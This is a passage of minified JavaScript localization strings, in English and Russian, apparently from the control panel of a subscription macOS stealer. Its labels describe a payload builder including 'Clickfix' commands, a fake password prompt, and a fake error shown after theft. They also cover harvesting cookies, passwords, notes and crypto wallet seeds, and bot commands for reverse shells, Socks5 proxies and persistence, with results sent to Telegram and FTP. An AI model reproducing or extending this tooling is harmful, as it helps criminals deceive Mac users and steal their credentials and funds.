            admin: `Admin Panel`,
            signOut: `Sign Out`,
            subscriptionExpires: `Subscription expires in`,
            days: `{count} days`,
            guestView: `Guest View`,
            socks: `Socks`,
            nonPersistentBotsInfo: `Non-persistent bots is online only for 3 days`,
            socksActiveInfo: `Socks are active for 24 hours`,
            subscription: `Subscription`,
            expiresIn: `Expires in {{count}} days`,
            appTitle: `App`,
            returnToAdmin: `Return to Admin`,
            seeds: `Seeds`,
            revshells: `Reverse Shells`
        },
        admin: {
            addUser: `Add User`,
            goToBlacklist: `Go to Blacklist`,
            nickname: `Nickname`,
            subExpiry: `Sub Expiry`,
            action: `Action`,
            edit: `Edit`,
            delete: `Delete`,
            never: `Never`,
            modalEditTitle: `Edit User`,
            modalAddTitle: `Add User`,
            username: `Username`,
            password: `Password`,
            cancel: `Cancel`,
            create: `Create`,
            save: `Save`,
            processing: `Processing...`,
            confirm: `Confirm`,
            close: `Close`,
            deleteUserPrompt: `Delete user {{username}}?`,
            safeExit: `SAFE EXIT`,
            safeExitTitle: `Confirm Safe Exit`,
            safeExitPrompt: `Are you sure you want to perform a Safe Exit? This action will destroy the current session.`,
            safeExitWarning: `This action cannot be undone`,
            loginAs: `Login as`,
            loginAsUser: `Login as User`,
            deleteWarning: `This action cannot be undone`,
            deleting: `Deleting...`,
            dateFormat: `MM.DD.YYYY`
        },
        auth: {
            login: `Login`,
            password: `Password`,
            signIn: `Sign in`,
            signingIn: `Signing in...`,
            welcomeBack: `Welcome Back`,
            loginToAccount: `Login to your account to continue`,
            enterUsername: `Enter your username`,
            enterPassword: `Enter your password`,
            invalidCredentials: `Invalid credentials. Attempts remaining: {{count}}. Please try again.`,
            secureLogin: `Your connection is secure and encrypted`
        },
        blacklist: {
            title: `Black List Management`,
            searchPlaceholder: `Search by IP...`,
            ipAddress: `IP Address`,
            action: `Action`,
            delete: `Delete`,
            loading: `Loading...`,
            noIpFound: `No IPs found for your search.`,
            empty: `The blacklist is empty.`,
            confirmDeleteTitle: `Confirm Deletion`,
            confirmDeletePrompt: `Are you sure you want to delete the IP`,
            backToAdmin: `Back to Admin`
        },
        bots: {
            botLabel: `Bot`,
            online: `Online`,
            offline: `Offline`,
            repeatPersistent: `Repeat Persistent`,
            deleteAll: `Delete all bots`,
            searchPlaceholder: `Search by IP...`,
            id: `ID`,
            ip: `IP`,
            macOS: `MacOS`,
            lastConnect: `Last connect`,
            persistent: `Persistent`,
            status: `Status`,
            action: `Action`,
            country: `Country`,
            yes: `Yes`,
            no: `No`,
            loading: `Loading bots...`,
            noBots: `No bots found.`,
            menu: {
                doShell: `Do shell`,
                repeatStealer: `Repeat stealer`,
                enableSocks: `Enable Socks5`,
                enableShell: `Enable Reverse Shell`,
                doPersistent: `Do Persistent`,
                deleteBot: `Delete bot`
            },
            never: `Never`,
            invalidTime: `Invalid time`,
            justNow: `just now`,
            yAgo: `{count}y ago`,
            moAgo: `{count}mo ago`,
            wAgo: `{count}w ago`,
            dAgo: `{count}d ago`,
            hAgo: `{count}h ago`,
            mAgo: `{count}m ago`,
            sAgo: `{count}s ago`,
            na: `N/A`,
            invalidDate: `Invalid Date`,
            firstConnect: `First connect`,
            loadingError: `Error loading bots data.`,
            requestFailed: `Request failed with status {{status}}`,
            unknownFetchError: `An unknown error occurred while fetching proxies.`,
            socksUrl: `Socks URL`,
            copy: `Copy`,
            openLink: `Open Link`,
            failedToDelete: `Failed to delete proxy`,
            deletedSuccess: `Proxy deleted successfully.`,
            unknownDeleteError: `Unknown error deleting proxy.`
        },
        builder: {
            title: `Builder`,
            requiredParams: `Required Params`,
            buildHistory: `Recent Builds`,
            buildType: `Build Type`,
            unixTypeLabel: `unix (effective up to macOS 14)`,
            appTypeLabel: `.app (effective from macOS 15 and later)`,
            commandTypeLabel: `Command (for Clickfix)`,
            pkgTypeLabel: `pkg (Installer)`,
            serverAddress: `Server Address`,
            serverAddressPlaceholder: `e.g., http://your-server.com`,
            filename: `Filename`,
            icon: `Icon (.icns)`,
            iconPlaceholder: `Upload icon file (.icns)`,
            iconFormatError: `Icon file must be .icns format.`,
            fileOptions: `Background Settings (optional)`,
            background: `Background (optional, .png only)`,
            backgroundFormatError: `Background file must be .png format.`,
            position: `Position (optional)`,
            positionPlaceholder: `e.g., 400 200`,
            passwordDialog: `Password Dialog Configuration (optional)`,
            dialogTitle: `Dialog Title`,
            dialogDescription: `Dialog Description`,
            passwordDialogTitleDefault: `Password Request`,
            passwordDialogDescriptionDefault: `Please enter device password to continue.`,
            preview: `Preview`,
            buildSectionTitle: `Build (optional)`,
            buildId: `Build ID`,
            telegram: `Telegram (optional)`,
            chatIdFiles: `Chat ID for files`,
            chatIdNotifications: `Chat ID for notifications`,
            fileGrabber: `FileGrabber (optional)`,
            fileGrabberPlaceholder: `FileGrabber Extensions (.txt, .pdf, .wallet etc)`,
            appleScript: `AppleScript (optional)`,
            appleScriptPlaceholder: `set somevar to "hello"
display dialog somevar`,
            save: `Save`,
            cancel: `Cancel`,
            building: `Building`,
            buildingNotification: `Building, please wait...`,
            buildingProjectTitle: `Building Project`,
            buildStep0: `Preparing payload...`,
            buildStep1: `Uploading assets...`,
            buildStep2: `Compiling executable...`,
            buildStep3: `Signing package...`,
            buildStep4: `Finalizing build...`,
            attention: `Attention`,
            zipPasswordInfo: `All created ZIP archives are encrypted. Password:`,
            buildFailedError: `Build failed. Status: {{status}}. {{errorText}}`,
            invalidPositionFormat: `Invalid position format. Please use 'x y' format (e.g., 400 200).`,
            invalidCommandFormat: `Received an invalid command format from the server.`,
            buildSuccess: `Build successful! Download has started.`,
            unexpectedError: `An unexpected error occurred during build.`,
            yourCommand: `Your command`,
            fileGrabberOptional: `FileGrabber (optional)`,
            fileGrabberTitle: `FileGrabber`,
            fileGrabberDescription: `FileGrabber requires user permission for file collection. Safari cookies and user notes are collected automatically, regardless of this switch.`,
            fileGrabberExtensions: `FileGrabber Extensions`,
            fileGrabberOn: `FileGrabber On/Off`,
            reverseNotesOn: `Reserve Notes On/Off`,
            reverseNotesTooltip: `Reserve notes collection if the main one is blocked, this will include one more alert`,
            browserHistoryTitle: `Browser History Collection`,
            browserHistoryOn: `Browser History On/Off`,
            syntheticErrorSectionTitle: `Setting up a Synthetic Error (optional)`,
            syntheticErrorOn: `Display an error after the stealer finishes running On/Off`,
            syntheticErrorMessage: `Error Message`,
            syntheticErrorMessagePlaceholder: `Your Mac does not support this application. Try reinstalling or downloading the version for your system.`,
            syntheticErrorDescription: `This message will be displayed in the modal window after the stealer is running as an error text`,
            selectPngBackground: `Select .png background`,
            clickToSetPosition: `Click to set position`,
            okButton: `OK`,
            toggle: `Toggle`
        },
        cookies: {
            googleToken: `Google token`,
            proxy: `Proxy`,
            restore: `Restore`,
            tokenPlaceholder: `Enter your Google token...`,
            proxyPlaceholder: `HTTP proxy address...`,
            optional: `Optional`
        },
        dashboard: {
            allLogs: `All logs`,
            newLogs: `New logs`,
            uniqueLogs: `Unique logs`,
            wallets: `Wallets`,
            logsWithWallets: `Logs with Wallets`,
            cookies: `Cookies`,
            passwords: `Passwords`,
            domains: `Domains`,
            logsActivity: `Logs Activity`,
            countries: `Country Distribution`,
            other: `Other`,
            noData: `No data available`
        },
        linkCreator: {
            guestLink: `Guest Link`,
            statsLink: `Stats Link`,
            buildId: `BuildID`,
            getLink: `Get Link`,
            generating: `Generating...`,
            placeholder: `Enter BuildID for {{type}} link`,
            placeholderGuest: `guest`,
            placeholderStats: `stats`,
            yourLink: `Your {{linkType}} link`,
            openLink: `Open Link`
        },
        statDisplay: {
            goToRawJson: `Go to Raw JSON`
        },
        guestMode: {
            tokenMissing: `Guest token is missing.`,
            errorFetchingData: `Error fetching guest data:`,
            linkNotFound: `Guest link not found or expired.`,
            accessDenied: `Access denied for this guest link.`,
            serverError: `Server error`,
            loadFailed: `Failed to load guest data.`,
            tokenNotFound: `Guest token not found in URL.`,
            buildLabel: `Build`,
            noStats: `No statistics data found for this view.`,
            statsUnavailable: `Statistics data is unavailable.`,
            loadingData: `Loading data...`,
            noLogsFound: `No logs found for this guest view.`
        },
        logs: {
            downloadAll: `Download All`,
            downloadWallets: `Download only with Wallets`,
            downloadWithoutWallets: `Download Without Wallets`,
            downloadOptions: `Download Options`,
            deleteAll: `Delete All`,
            downloadSelected: `Download Selected`,
            deleteSelected: `Delete Selected`,
            cancel: `Cancel`,
            itemsSelected: `{count} items selected`,
            search: `Search`,
            id: `ID`,
            ip: `IP`,
            buildId: `Build ID`,
            date: `Date`,
            data: `Data`,
            status: `Status`,
            action: `Action`,
            wallets: `Wallets`,
            cookies: `Cookies`,
            passwords: `Passwords`,
            domains: `Domains`,
            new: `New`,
            checked: `Checked`,
            download: `Download`,
            noLogsFound: `No logs found for these parameters.`,
            walletsShort: `Wallets`,
            passShort: `Pass`,
            domainsShort: `Domains`,
            valuableDomains: `Valuable Domains`,
            isDup: `IsDup`,
            searchModal: {
                command: `Command`,
                dateStart: `Date start`,
                dateEnd: `Date end`,
                timeStart: `Time start`,
                timeEnd: `Time end`,
                hour: `Hour`,
                day: `Day`,
                week: `Week`,
                month: `Month`,
                year: `Year`,
                all: `All`,
                domains: `Domains`,
                wallets: `Wallets`,
                countries: `Countries`,
                deleteCountries: `Delete Countries`,
                logId: `Log ID`,
                buildTags: `Build Tags`,
                statusAll: `Status (All)`,
                unchecked: `Unchecked`,
                checked: `Checked`,
                ip: `IP`,
                search: `Search`,
                reset: `Reset`,
                cancel: `Cancel`,
                dateTimeRangeHeader: `Date & Time Range`,
                quickSelectHeader: `Quick Select`,
                advancedFiltersHeader: `Advanced Filters`,
                additionalFiltersHeader: `Additional Filters`,
                statusLabel: `Status`,
                ipAddressLabel: `IP Address`,
                onlyCryptoWallets: `Only logs with Ledger/Exodus/Metamask`
            },
            balance: `Balance`,
            haveTelegram: `Have Telegram`,
            notesCount: `Notes Count`
        },
        settings: {
            account: `Account`,
            changePassword: `Change password`,
            saveChanges: `Save changes`,
            telegram: `Telegram`,
            botToken: `Telegram Bot Token`,
            chatId: `Telegram Chat ID`,
            chatIdNotifications: `Telegram Chat ID for notification`,
            chatIdCrypto: `ChatID only for crypto`,
            chatIdLedger: `ChatID for ledger seeds import`,
            cryptochecker: `Cryptochecker`,
            antidup: `Antidup`,
            ftp: `FTP`,
            host: `Host`,
            username: `Username`,
            password: `Password`,
            directory: `Directory`,
            directoryPlaceholder: `e.g., /host/data/main`,
            save: `Save`,
            cancel: `Cancel`,
            interface: `Interface`,
            animations: `Animations`,
            telegramTemplate: `Telegram Message Template`,
            telegramTemplateDesc: `Customize the notification message sent to Telegram. Use tags like {{ID}} to insert dynamic data.`,
            preview: `Live Preview`
        },
        socks: {
            filter: `Filter`,
            proxyIp: `Proxy IP`,
            cc: `CC`,
            action: `Action`,
            copyUrl: `Copy URL`,
            delete: `Delete`,
            loading: `Loading...`,
            noResults: `No results found.`
        },
        alert: {
            error: `Error`,
            copied: `Copied`,
            copyCommand: `Copy Command`,
            isRequired: `is required`,
            notification: `Notification`,
            confirmAction: `Confirm Action`,
            httpError: `HTTP Error`,
            success: `Success`,
            nonJson: `Non-JSON response`,
            failedAction: `Failed to perform action: {{action}}`,
            commandSentSuccess: `Command {{action}} sent successfully.`,
            unknownErrorAction: `Unknown error during {{action}}.`,
            idCopied: `ID copied to clipboard!`,
            failedToCopy: `Failed to copy ID.`,
            shellEmpty: `Shell command cannot be empty.`,
            failedToDeleteBot: `Failed to delete bot`,
            botDeleted: `Bot {{botId}} deleted.`,
            errorDeletingBot: `Error deleting bot.`,
            noBotsToDelete: `There are no bots to delete.`,
            failedToDeleteAllBots: `Failed to delete all bots`,
            allBotsDeleted: `All bots have been deleted.`,
            unknownError: `An unknown error occurred.`,
            noBotsToSendCmd: `There are no bots to send the command to.`,
            failedToSendCmd: `Failed to send command`,
            repeatAllSuccess: `'Repeat all' command sent successfully to all bots.`,
            errorSendingCmd: `Error sending command.`,
            confirmDeletion: `Confirm Deletion`,
            deleteBotPrompt: `Are you sure you want to delete bot {{idOrTarget}}? This action cannot be undone.`,
            deleteAllBotsTitle: `Delete All Bots`,
            deleteAllBotsPrompt: `Are you sure you want to delete ALL bots? This action cannot be undone.`,
            deleteAll: `Delete All`,
            confirmRepeatAllTitle: `Confirm Repeat All`,
            confirmRepeatAllPrompt: `Are you sure you want to send the 'Repeat Stealer' command to ALL bots?`,
            sendToAll: `Send to All`,
            confirmRepeatTitle: `Confirm Repeat`,
            confirmRepeatPrompt: `Are you sure you want to send the 'Repeat Stealer' command to bot {{idOrTarget}}?`,
            sendCommand: `Send Command`,
            enableSocks5Title: `Enable Socks5`,
            enableSocks5Prompt: `Are you sure you want to enable Socks5 for bot {{idOrTarget}}?`,
            enableShellTitle: `Enable Reverse Shell`,
            enableShellPrompt: `Are you sure you want to enable Reverse Shell for bot {{idOrTarget}}?`,
            enable: `Enable`,
            makePersistentTitle: `Make Persistent`,
            makePersistentPrompt: `Are you sure you want to make bot {{idOrTarget}} persistent?`,
            enterShellCommand: `Enter shell command...`,
            unhandledActionPrompt: `Unhandled alert action: {{alert}}`,
            confirm: `Confirm`,
            close: `Close`,
            selectionLimit: `Selection limit reached. You can only select up to 15 logs manually.`,
            downloadLogPrompt: `Download log?`,
            deleteLogPrompt: `Delete log?`,
            deleteAllLogsPrompt: `Delete All Logs?`,
            downloadSelectedPrompt: `Download selected logs?`,
            deleteSelectedPrompt: `Delete selected logs?`,
            maxLimit: `(Max 15)`,
            tokenNotFound: `Authentication token not found. Please log in again.`,
            errorCreatingLink: `Error creating link: {{status}}`,
            failedToCreateLink: `Failed to create link.`,
            copyLink: `Copy link`,
            passwordChangedSuccess: `Password changed successfully!`,
            couldNotChangePassword: `Could not change password.`,
            settingsSavedSuccess: `Settings saved successfully!`,
            couldNotSaveSettings: `Could not save settings.`,
            errorConnectingServer: `Error connecting to the server.`,
            successTitle: `Success`,
            errorTitle: `Error`,
            passwordPlaceholder: `Password`,
            tokenPlaceholder: `Token`,
            chatIdPlaceholder: `Chat ID`,
            usernameRequired: `Username is required`,
            failedToCreateUser: `Failed to create user`,
            failedToUpdateUser: `Failed to update user`,
            unexpectedError: `An unexpected error occurred`,
            checkAllFields: `Please check all required fields`,
            logDeletedSuccess: `Log deleted successfully`,
            allLogsDeletedSuccess: `All logs deleted successfully`
        },
        errors: {
            deleteLog: `Failed to delete log`,
            deleteAllLogs: `Failed to delete all logs`
        },
        errorBoundary: {
            title: `Something went wrong`,
            description: `An unexpected error occurred. Please try to reload the page.`,
            retry: `Reload Page`,
            localTitle: `Widget error`,
            localRetry: `Retry`
        },
        common: {
            empty: `Nothing found`,
            noSeedsDesc: `All collected seeds will appear here.`,
            noBotsDesc: `All your active bots will appear here once they connect to the server.`,
            noUsersDesc: `You can add new users using the 'Add User' button above.`,
            noSocksDesc: `Active socks connections for your bots will be listed here.`,
            noRevShellsDesc: `Active reverse shell connections will be listed here.`
        },
        seeds: {
            title: `Seeds`,
            seed: `Seed`,
            username: `Username`,
            date: `Date`,
            walletType: `Wallet Type`,
            passphrase: `Passphrase`,
            ip: `IP`,
            country: `Country`,
            action: `Action`,
            copy: `Copy`,
            loading: `Loading seeds...`,
            noSeeds: `No seeds found.`,
            copied: `Seed copied to clipboard!`
        },
        revshells: {
            ip: `IP`,
            cc: `CC`,
            action: `Action`,
            connect: `Connect`,
            delete: `Delete`,
            deletedSuccess: `Reverse shell deleted successfully.`,
            unknownFetchError: `An unknown error occurred while fetching reverse shells.`,
            unknownDeleteError: `Unknown error deleting reverse shell.`
        }
    },
    VFe = {
        nav: {
            dashboard: `Статистика`,
            builder: `Билдер`,
            logs: `Логи`,
            bots: `Боты`,
            linkCreator: `Создать ссылку`,
            cookies: `Восстановление Google Cookies`,
            settings: `Настройки`,
            admin: `Админ панель`,
            signOut: `Выйти`,
            subscriptionExpires: `Подписка истекает через`,
            days: `{count} дней`,
            guestView: `Гостевой вид`,
            socks: `Socks`,
            nonPersistentBotsInfo: `Непостоянные боты онлайн только в течение 3 дней`,
            socksActiveInfo: `Socks активны в течение 24 часов`,
            subscription: `Подписка`,
            expiresIn: `Истекает через {{count}} дней`,
            appTitle: `Приложение`,
            returnToAdmin: `Вернуться в админ-панель`,
            seeds: `Сиды`,
            revshells: `Reverse Shells`
        },
        admin: {
            addUser: `Добавить пользователя`,
            goToBlacklist: `Перейти к черному списку`,
            nickname: `Никнейм`,
            subExpiry: `Окончание подписки`,
            action: `Действие`,
            edit: `Изменить`,
            delete: `Удалить`,
            never: `Никогда`,
            modalEditTitle: `Изменить пользователя`,
            modalAddTitle: `Добавить пользователя`,
            username: `Имя пользователя`,
            password: `Пароль`,
            cancel: `Отмена`,
            create: `Создать`,
            save: `Сохранить`,
            processing: `Обработка...`,
            confirm: `Подтвердить`,
            close: `Закрыть`,
            deleteUserPrompt: `Удалить пользователя {{username}}?`,
            safeExit: `БЕЗОПАСНЫЙ ВЫХОД`,
            safeExitTitle: `Подтвердите безопасный выход`,
            safeExitPrompt: `Вы уверены, что хотите выполнить безопасный выход? Это действие уничтожит текущую сессию.`,
            safeExitWarning: `Это действие необратимо`,
            loginAs: `Войти как`,
            loginAsUser: `Войти`,
            deleteWarning: `Это действие необратимо`,
            deleting: `Удаление...`,
            dateFormat: `MM.DD.YYYY`
        },
        auth: {
            login: `Логин`,
            password: `Пароль`,
            signIn: `Войти`,
            signingIn: `Вход...`,
            welcomeBack: `С возвращением`,
            loginToAccount: `Войдите в свой аккаунт, чтобы продолжить`,
            enterUsername: `Введите логин`,
            enterPassword: `Введите пароль`,
            invalidCredentials: `Неверные учетные данные. Оставшиеся попытки: {{count}}. Попробуйте снова.`,
            secureLogin: `Ваше соединение защищено и зашифровано`
        },
        blacklist: {
            title: `Управление черным списком`,
            searchPlaceholder: `Поиск по IP...`,
            ipAddress: `IP Адрес`,
            action: `Действие`,
            delete: `Удалить`,
            loading: `Загрузка...`,
            noIpFound: `IP-адреса по вашему запросу не найдены.`,
            empty: `Черный список пуст.`,
            confirmDeleteTitle: `Подтвердите удаление`,
            confirmDeletePrompt: `Вы уверены, что хотите удалить IP`,
            backToAdmin: `Назад в админку`
        },
        bots: {
            botLabel: `Бот`,
            online: `Онлайн`,
            offline: `Оффлайн`,
            repeatPersistent: `Repeat Persistent`,
            deleteAll: `Удалить всех ботов`,
            searchPlaceholder: `Поиск по IP...`,
            id: `ID`,
            ip: `IP`,
            macOS: `MacOS`,
            lastConnect: `Последнее подключение`,
            persistent: `Постоянный`,
            status: `Статус`,
            action: `Действие`,
            country: `Страна`,
            yes: `Да`,
            no: `Нет`,
            loading: `Загрузка ботов...`,
            noBots: `Боты не найдены.`,
            menu: {
                doShell: `Выполнить shell`,
                repeatStealer: `Повторить стилер`,
                enableSocks: `Включить Socks5`,
                enableShell: `Включить Reverse Shell`,
                doPersistent: `Сделать постоянным`,
                deleteBot: `Удалить бота`
            },
            never: `Никогда`,
            invalidTime: `Неверное время`,
            justNow: `только что`,
            yAgo: `{count}л назад`,
            moAgo: `{count}мес назад`,
            wAgo: `{count}нед назад`,
            dAgo: `{count}д назад`,
            hAgo: `{count}ч назад`,
            mAgo: `{count}м назад`,
            sAgo: `{count}с назад`,
            na: `Н/Д`,
            invalidDate: `Неверная дата`,
            firstConnect: `Первое подключение`,
            loadingError: `Ошибка загрузки данных ботов.`,
            requestFailed: `Запрос не выполнен со статусом {{status}}`,
            unknownFetchError: `Неизвестная ошибка при получении прокси.`,
            socksUrl: `URL Socks-прокси`,
            copy: `Копировать`,
            openLink: `Открыть ссылку`,
            failedToDelete: `Не удалось удалить прокси`,
            deletedSuccess: `Прокси успешно удален.`,
            unknownDeleteError: `Неизвестная ошибка при удалении прокси.`
        },
        builder: {
            title: `Конструктор`,
            requiredParams: `Обязательные параметры`,
            buildHistory: `Недавние сборки`,
            buildType: `Тип сборки`,
            unixTypeLabel: `unix (актуален до macOS 14)`,
            appTypeLabel: `.app (актуален с macOS 15 и выше)`,
            commandTypeLabel: `Команда (для Clickfix)`,
            pkgTypeLabel: `pkg (Инсталлятор)`,
            serverAddress: `Адрес сервера`,
            serverAddressPlaceholder: `напр., http://vash-server.com`,
            filename: `Имя файла`,
            icon: `Иконка (.icns)`,
            iconPlaceholder: `Загрузить файл иконки (.icns)`,
            iconFormatError: `Файл иконки должен быть в формате .icns.`,
            fileOptions: `Фоновые настройки (необязательно)`,
            background: `Фон (необязательно, только .png)`,
            backgroundFormatError: `Файл фона должен быть в формате .png.`,
            position: `Позиция (необязательно)`,
            positionPlaceholder: `напр., 400 200`,
            passwordDialog: `Настройка диалога пароля (необязательно)`,
            dialogTitle: `Заголовок диалога`,
            dialogDescription: `Описание диалога`,
            passwordDialogTitleDefault: `Password Request`,
            passwordDialogDescriptionDefault: `Please enter device password to continue.`,
            preview: `Предпросмотр`,
            buildSectionTitle: `Сборка (необязательно)`,
            buildId: `ID билда`,
            telegram: `Telegram (необязательно)`,
            chatIdFiles: `Chat ID для файлов`,
            chatIdNotifications: `Chat ID для уведомлений`,
            fileGrabber: `FileGrabber (необязательно)`,
            fileGrabberPlaceholder: `Расширения FileGrabber (.txt, .pdf, .wallet и т.д.)`,
            appleScript: `AppleScript (необязательно)`,
            appleScriptPlaceholder: `set somevar to "hello"\\ndisplay dialog somevar`,
            save: `Сохранить`,
            cancel: `Отмена`,
            building: `Сборка`,
            buildingNotification: `Сборка, пожалуйста, подождите...`,
            buildingProjectTitle: `Сборка проекта`,
            buildStep0: `Подготовка пейлоада...`,
            buildStep1: `Загрузка ассетов...`,
            buildStep2: `Компиляция файла...`,
            buildStep3: `Подпись пакета...`,
            buildStep4: `Завершение сборки...`,
            attention: `Внимание`,
            zipPasswordInfo: `Все созданные ZIP архивы зашифрованы. Пароль:`,
            buildFailedError: `Сборка не удалась. Статус: {{status}}. {{errorText}}`,
            invalidPositionFormat: `Неверный формат позиции. Используйте формат 'x y' (напр., 400 200).`,
            invalidCommandFormat: `Получен неверный формат команды с сервера.`,
            buildSuccess: `Сборка успешно завершена! Загрузка началась.`,
            unexpectedError: `Произошла непредвиденная ошибка во время сборки.`,
            yourCommand: `Ваша команда`,
            fileGrabberOptional: `FileGrabber (необязательно)`,
            fileGrabberTitle: `FileGrabber`,
            fileGrabberDescription: `Для сбора файлов FileGrabber требует разрешения пользователя. Cookies Safari и заметки собираются автоматически, независимо от этого переключателя.`,
            fileGrabberExtensions: `Расширения FileGrabber`,
            fileGrabberOn: `FileGrabber вкл/выкл`,
            reverseNotesOn: `Запасной сбор заметок вкл/выкл`,
            reverseNotesTooltip: `Запасной сбор заметок, если основной заблокирован, это вызовет еще один алерт`,
            browserHistoryTitle: `Сбор истории браузера`,
            browserHistoryOn: `Сбор истории браузера вкл/выкл`,
            syntheticErrorSectionTitle: `Настройка фейковой ошибки (необязательно)`,
            syntheticErrorOn: `Показывать ошибку после выполнения стиллера вкл/выкл`,
            syntheticErrorMessage: `Сообщение об ошибке`,
            syntheticErrorMessagePlaceholder: `Your Mac does not support this application. Try reinstalling or downloading the version for your system.`,
            syntheticErrorDescription: `Это сообщение будет отображено в модальном окне после завершения работы стиллера как текст ошибки`,
            selectPngBackground: `Выберите .png фон`,
            clickToSetPosition: `Нажмите, чтобы установить позицию`,
            okButton: `OK`,
            toggle: `Переключатель`
        },
        cookies: {
            googleToken: `Токен Google`,
            proxy: `Прокси`,
            restore: `Восстановить`,
            tokenPlaceholder: `Введите ваш токен Google...`,
            proxyPlaceholder: `HTTP адрес прокси...`,
            optional: `Опционально`
        },
        dashboard: {
            allLogs: `Все логи`,
            newLogs: `Новые логи`,
            uniqueLogs: `Уникальные логи`,
            wallets: `Кошельки`,
            logsWithWallets: `Логи с кошельками`,
            cookies: `Куки`,
            passwords: `Пароли`,
            domains: `Домены`,
            logsActivity: `Активность логов`,
            countries: `Распределение по странам`,
            other: `Другие`,
            noData: `Нет данных`
        },
        linkCreator: {
            guestLink: `Гостевая ссылка`,
            statsLink: `Ссылка на статистику`,
            buildId: `BuildID`,
            getLink: `Получить ссылку`,
            generating: `Генерация...`,
            placeholder: `Введите BuildID для {{type}} ссылки`,
            placeholderGuest: `гостевой`,
            placeholderStats: `статистической`,
            yourLink: `Ваша {{linkType}} ссылка`,
            openLink: `Открыть ссылку`
        },
        statDisplay: {
            goToRawJson: `Перейти к Raw JSON`
        },
        guestMode: {
            tokenMissing: `Гостевой токен отсутствует.`,
            errorFetchingData: `Ошибка при получении гостевых данных:`,
            linkNotFound: `Гостевая ссылка не найдена или истекла.`,
            accessDenied: `Доступ по этой гостевой ссылке запрещен.`,
            serverError: `Ошибка сервера`,
            loadFailed: `Не удалось загрузить гостевые данные.`,
            tokenNotFound: `Гостевой токен не найден в URL.`,
            buildLabel: `Сборка`,
            noStats: `Статистические данные для этого представления не найдены.`,
            statsUnavailable: `Статистические данные недоступны.`,
            loadingData: `Загрузка данных...`,
            noLogsFound: `Логи для этого гостевого представления не найдены.`
        },
        logs: {
            downloadAll: `Скачать все`,
            downloadWallets: `Скачать только с кошельками`,
            downloadWithoutWallets: `Скачать без кошельков`,
            downloadOptions: `Параметры скачивания`,
            deleteAll: `Удалить все`,
            downloadSelected: `Скачать выбранное`,
            deleteSelected: `Удалить выбранное`,
            cancel: `Отмена`,
            itemsSelected: `Выбрано: {{count}}`,
            search: `Поиск`,
            id: `ID`,
            ip: `IP`,
            buildId: `ID билда`,
            date: `Дата`,
            data: `Данные`,
            status: `Статус`,
            action: `Действие`,
            wallets: `Кошельки`,
            cookies: `Cookies`,
            passwords: `Пароли`,
            domains: `Домены`,
            new: `Новый`,
            checked: `Проверен`,
            download: `Скачать`,
            noLogsFound: `Логи по заданным параметрам не найдены.`,
            walletsShort: `Кош.`,
            passShort: `Пароли`,
            domainsShort: `Домены`,
            valuableDomains: `Ценные домены`,
            isDup: `Дубликат`,
            searchModal: {
                command: `Команда`,
                dateStart: `Дата начала`,
                dateEnd: `Дата окончания`,
                timeStart: `Время начала`,
                timeEnd: `Время окончания`,
                hour: `Час`,
                day: `День`,
                week: `Неделя`,
                month: `Месяц`,
                year: `Год`,
                all: `Всё`,
                domains: `Домены`,
                wallets: `Кошельки`,
                countries: `Страны`,
                deleteCountries: `Исключить страны`,
                logId: `ID Лога`,
                buildTags: `Теги сборки`,
                statusAll: `Статус (Все)`,
                unchecked: `Непроверенные`,
                checked: `Проверенные`,
                ip: `IP`,
                search: `Поиск`,
                reset: `Сбросить`,
                cancel: `Отмена`,
                dateTimeRangeHeader: `Дата и время`,
                quickSelectHeader: `Быстрый выбор`,
                advancedFiltersHeader: `Расширенные фильтры`,
                additionalFiltersHeader: `Дополнительные фильтры`,
                statusLabel: `Статус`,
                ipAddressLabel: `IP Адрес`,
                onlyCryptoWallets: `Только логи с Ledger/Exodus/Metamask`
            },
            balance: `Баланс`,
            haveTelegram: `Есть Telegram`,
            notesCount: `Количество заметок`
        },
        settings: {
            account: `Аккаунт`,
            changePassword: `Изменить пароль`,
            saveChanges: `Сохранить изменения`,
            telegram: `Telegram`,
            botToken: `Токен Telegram бота`,
            chatId: `ID чата Telegram`,
            chatIdNotifications: `ID чата Telegram для уведомлений`,
            chatIdCrypto: `ChatID только для крипто`,
            chatIdLedger: `ChatID для импорта seed-фраз ledger`,
            cryptochecker: `Крипточекер`,
            antidup: `Анти-дубликат`,
            ftp: `FTP`,
            host: `Хост`,
            username: `Имя пользователя`,
            password: `Пароль`,
            directory: `Директория`,
            directoryPlaceholder: `напр., /host/data/main`,
            save: `Сохранить`,
            cancel: `Отмена`,
            interface: `Интерфейс`,
            animations: `Анимации`,
            telegramTemplate: `Шаблон сообщения Telegram`,
            telegramTemplateDesc: `Настройте сообщение уведомления, отправляемое в Telegram. Используйте теги, такие как {{ID}}, для вставки динамических данных.`,
            preview: `Предпросмотр`
        },
        socks: {
            filter: `Фильтр`,
            proxyIp: `IP прокси`,
            cc: `Страна`,
            action: `Действие`,
            copyUrl: `Копировать URL`,
            delete: `Удалить`,
            loading: `Загрузка...`,
            noResults: `Результаты не найдены.`
        },
        alert: {
            error: `Ошибка`,
            copied: `Скопировано`,
            copyCommand: `Копировать Команду`,
            isRequired: `обязательно`,
            notification: `Уведомление`,
            confirmAction: `Подтвердите действие`,
            httpError: `HTTP Ошибка`,
            success: `Успех`,
            nonJson: `Не JSON ответ`,
            failedAction: `Не удалось выполнить действие: {{action}}`,
            commandSentSuccess: `Команда {{action}} успешно отправлена.`,
            unknownErrorAction: `Неизвестная ошибка во время {{action}}.`,
            idCopied: `ID скопирован в буфер обмена!`,
            failedToCopy: `Не удалось скопировать ID.`,
            shellEmpty: `Команда shell не может быть пустой.`,
            failedToDeleteBot: `Не удалось удалить бота`,
            botDeleted: `Бот {{botId}} удален.`,
            errorDeletingBot: `Ошибка при удалении бота.`,
            noBotsToDelete: `Нет ботов для удаления.`,
            failedToDeleteAllBots: `Не удалось удалить всех ботов`,
            allBotsDeleted: `Все боты были удалены.`,
            unknownError: `Произошла неизвестная ошибка.`,
            noBotsToSendCmd: `Нет ботов для отправки команды.`,
            failedToSendCmd: `Не удалось отправить команду`,
            repeatAllSuccess: `'Repeat all' команда успешно отправлена всем ботам.`,
            errorSendingCmd: `Ошибка при отправке команды.`,
            confirmDeletion: `Подтверждение удаления`,
            deleteBotPrompt: `Вы уверены, что хотите удалить бота {{idOrTarget}}? Это действие нельзя отменить.`,
            deleteAllBotsTitle: `Удалить всех ботов`,
            deleteAllBotsPrompt: `Вы уверены, что хотите удалить ВСЕХ ботов? Это действие нельзя отменить.`,
            deleteAll: `Удалить Все`,
            confirmRepeatAllTitle: `Подтвердить Repeat All`,
            confirmRepeatAllPrompt: `Вы уверены, что хотите отправить команду 'Repeat Stealer' ВСЕМ ботам?`,
